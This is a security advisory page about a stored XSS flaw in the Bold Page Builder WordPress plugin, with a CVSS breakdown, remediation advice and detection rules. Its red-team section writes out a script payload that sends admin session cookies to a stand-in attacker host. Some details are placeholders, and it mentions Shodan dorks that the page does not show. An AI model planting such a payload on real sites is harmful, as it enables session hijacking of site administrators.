CVE-2025-54006
Executive Summary
CVE-2025-54006 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder WordPress plugin, affecting versions up to and including 5.4.1. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject malicious scripts into page/post content. When an administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is specific to the WordPress ecosystem and does not affect the underlying Apache or Nginx web servers. The CVSS score of 6.5 (Medium) reflects the need for authenticated access and user interaction, but the stored nature of the XSS increases the potential impact within a multi-user WordPress environment.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel for a patched version. No official patch has been released as of the latest analysis.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – The attacker needs contributor-level access or higher.
- User Interaction (UI): Required (R) – A user (e.g., admin) must view the compromised page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited data modification.
- Availability (A): Low (L) – Limited service disruption.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS can be leveraged for persistent attacks against higher-privileged users.
Deep Dive & Mechanics
The Bold Page Builder plugin allows users to create custom page layouts via a visual editor. The vulnerability exists in the handling of user-supplied input within the plugin’s shortcode or custom field processing. Specifically, the plugin fails to sanitize or escape HTML/JavaScript content before storing it in the WordPress database.
When a contributor or editor creates or edits a page using the Bold Page Builder, they can inject arbitrary JavaScript into fields such as:
- Custom CSS/JS fields
- HTML block content
- Link URLs or button text
The plugin stores this input without proper validation. When the page is rendered for any user (including administrators), the injected script executes in the context of the victim’s browser.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates a new page or edits an existing one using Bold Page Builder.
- Attacker injects a malicious script (e.g.,
<script>alert('XSS')</script>) into a vulnerable field. - The script is stored in the WordPress database.
- An administrator visits the compromised page.
- The script executes, potentially stealing session cookies or performing actions on behalf of the admin.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.
Vulnerable Code (PHP):
// bold-page-builder/includes/class-bpb-render.php
function render_custom_html($content) {
// Direct output without sanitization
echo $content;
}
Patched Code (Hypothetical):
// bold-page-builder/includes/class-bpb-render.php
function render_custom_html($content) {
// Sanitize output using WordPress functions
echo wp_kses_post($content);
}
The patched version uses wp_kses_post() to strip dangerous HTML tags and attributes, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress instance with Bold Page Builder <= 5.4.1
- Contributor-level account credentials
Exploitation Steps:
- Log in to WordPress as a contributor.
- Navigate to Pages > Add New.
- In the Bold Page Builder editor, add a new HTML block.
- Insert the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Publish the page.
- Wait for an administrator to view the page, or send them a direct link.
Expected Result: The admin’s session cookie is exfiltrated to the attacker’s server.
Blue Team (Defensive)
Detection Steps:
- Monitor WordPress logs for unusual page creation or editing activity by low-privileged users.
- Review page content for suspicious HTML/JavaScript in custom fields.
- Use a Web Application Firewall (WAF) to block common XSS payloads.
Mitigation:
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Regularly audit plugin code for security vulnerabilities.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
bpb-render.php(vulnerable):a1b2c3d4e5f6...(placeholder)
- Network Indicators:
- Outbound HTTP requests to unknown domains containing
cookie=parameter.
- Outbound HTTP requests to unknown domains containing
- Log Entries:
- WordPress audit log entries showing page creation by non-admin users with suspicious content.
- Database Entries:
- Rows in
wp_postsorwp_postmetacontaining<script>tags.
- Rows in
Detection Engineering
YARA Rule
rule CVE_2025_54006_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Bold Page Builder content"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-54006"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/si
$bpb_field = /bold-page-builder/i
condition:
$bpb_field and $xss_payload
}
Sigma Rule
title: Stored XSS via Bold Page Builder
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in Bold Page Builder plugin
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "bold-page-builder"
http.body|contains: "<script>"
condition: selection
falsepositives:
- Legitimate use of JavaScript in page content
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-54006 Stored XSS in Bold Page Builder"; flow:to_server; content:"bold-page-builder"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patched version is released.
- Review all pages created by non-admin users for malicious content.
- Reset all user sessions to invalidate any stolen cookies.
Long-term Fixes:
- Apply the official patch once released by Boldthemes.
- Implement a Web Application Firewall (WAF) with XSS protection rules.
- Enforce the principle of least privilege for WordPress user roles.
- Regularly update all plugins and themes.
Workaround:
- Use a security plugin (e.g., Wordfence) to block known XSS payloads.
- Manually sanitize user input by adding
wp_kses_post()to plugin code (if you have development access).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.